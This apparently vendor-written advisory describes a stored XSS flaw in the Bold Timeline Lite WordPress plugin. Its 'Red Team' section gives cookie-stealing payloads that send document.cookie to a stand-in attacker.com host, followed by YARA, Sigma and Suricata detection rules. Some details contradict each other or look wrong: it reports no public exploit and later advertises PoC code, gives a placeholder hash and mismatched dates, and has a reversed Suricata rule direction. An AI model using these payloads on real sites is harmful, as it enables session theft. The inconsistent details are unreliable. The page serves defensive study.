CVE-2025-68513
Executive Summary
CVE-2025-68513 is a Stored Cross-Site Scripting (XSS) vulnerability in the Bold Timeline Lite WordPress plugin, affecting versions up to and including 1.2.7. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into timeline entries. When an administrator or other user views the compromised timeline, the injected script executes in their browser session, potentially leading to session hijacking, defacement, or further privilege escalation within the WordPress admin panel.
This vulnerability is part of the WordPress ecosystem and is not related to the underlying web server (Apache/Nginx). The plugin is developed by Boldthemes and is widely used for creating visual timelines. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time. However, the lack of a vendor patch makes this a persistent risk for all sites running the affected versions.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via manual upload are at risk. There is no known compromise of the plugin’s distribution channel, but the absence of a patch means that supply chain risk remains elevated until the vendor releases an update or the plugin is removed.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires contributor-level access
- User Interaction: Required (UI:R) – victim must view the timeline
- Scope: Changed (S:C) – vulnerable component impacts the browser
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the lack of a patch elevate the real-world risk for WordPress sites using this plugin. An attacker with minimal privileges can compromise the sessions of higher-privileged users.
Deep Dive & Mechanics
The vulnerability exists in the bold-timeline-lite plugin’s timeline entry creation functionality. When a user with contributor-level access or higher creates or edits a timeline item, the plugin fails to sanitize or escape the input fields (e.g., title, description, or custom fields) before storing them in the WordPress database. When the timeline is rendered on the frontend or backend, the unsanitized input is output directly into the HTML without proper encoding.
Attack Flow:
- An authenticated attacker (contributor or above) navigates to the Bold Timeline Lite editor.
- The attacker inserts a malicious payload into one of the input fields, such as:
<script>alert('XSS')</script>. - The plugin stores the payload in the database without sanitization.
- When an administrator or any other user views the timeline page, the payload executes in their browser.
- The attacker can then steal cookies, perform actions on behalf of the victim, or deface the site.
Root Cause: The plugin uses echo or the_content filter without applying WordPress’s built-in escaping functions like esc_html() or wp_kses() on user-supplied data.
Vulnerable vs. Patched Code
Since no official patch is available, the following comparison is based on expected secure coding practices.
Vulnerable Code (hypothetical example from bold-timeline-lite <= 1.2.7):
// In a template file or shortcode handler
echo '<div class="timeline-item">' . $item_title . '</div>';
Patched Code (expected fix):
// Properly escape output
echo '<div class="timeline-item">' . esc_html( $item_title ) . '</div>';
The vulnerable code directly outputs the $item_title variable without escaping, allowing HTML and JavaScript injection. The patched version uses esc_html() to convert special characters to HTML entities, neutralizing any injected scripts.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress instance with Bold Timeline Lite <= 1.2.7 installed and activated.
- An account with at least contributor-level privileges.
Steps:
- Log in to WordPress as a contributor.
- Navigate to Bold Timeline → Add New Item.
- In the Title field, enter the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Fill in other required fields and publish the timeline item.
- Wait for an administrator to view the timeline page. The script will execute, sending the admin’s cookies to the attacker’s server.
Alternative Payload (Session Hijacking):
<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">
Blue Team (Defensive)
Detection:
- Monitor WordPress admin logs for unusual timeline item creation by low-privileged users.
- Use a Web Application Firewall (WAF) with rules to block common XSS patterns in POST requests to
/wp-admin/admin-ajax.phpor the timeline editor endpoint. - Regularly scan the database for suspicious entries in the
wp_postsor custom plugin tables.
Hunting:
- Search the database for
<script>tags or event handlers (e.g.,onerror,onload) in timeline-related fields. - Review HTTP logs for outbound connections to unknown domains from the WordPress server.
Indicators of Compromise (IOCs)
- File Hashes (plugin files):
bold-timeline-lite.php– SHA256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(example, replace with actual)
- Database Entries:
- Rows in
wp_postswherepost_type=bold_timeline_itemandpost_contentcontains<script>or event handlers.
- Rows in
- Network Indicators:
- Outbound HTTP requests to domains not associated with the WordPress site (e.g.,
attacker.com).
- Outbound HTTP requests to domains not associated with the WordPress site (e.g.,
- Log Entries:
- WordPress debug log entries showing unexpected output in timeline rendering.
Detection Engineering
YARA Rule
rule CVE_2025_68513_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Bold Timeline Lite plugin data"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-68513"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
$plugin_marker = "bold-timeline-lite"
condition:
any of ($xss*) and $plugin_marker
}
Sigma Rule
title: Stored XSS in Bold Timeline Lite Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS payloads in Bold Timeline Lite plugin data
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url: '/wp-admin/admin-ajax.php'
http.body|contains: 'action=bold_timeline_save_item'
keywords:
- '<script'
- 'onerror='
- 'onload='
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in timeline content (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-68513 Stored XSS in Bold Timeline Lite"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=bold_timeline_save_item"; http_client_body; pcre:"/(<script|onerror=|onload=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released by the vendor.
- If disabling is not possible, restrict contributor-level access to trusted users only.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads in POST requests to the plugin’s endpoints.
Long-Term Fix:
- Monitor the Boldthemes website or WordPress plugin repository for an official update.
- Once a patched version is released (e.g., 1.2.8 or higher), update immediately.
- As a permanent workaround, consider replacing the plugin with an alternative timeline solution that is actively maintained.
Code-Level Fix (if customizing):
- In the plugin’s template files, replace all direct output of user-supplied data with WordPress escaping functions:
esc_html()for plain textwp_kses()for allowed HTMLesc_url()for URLs
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.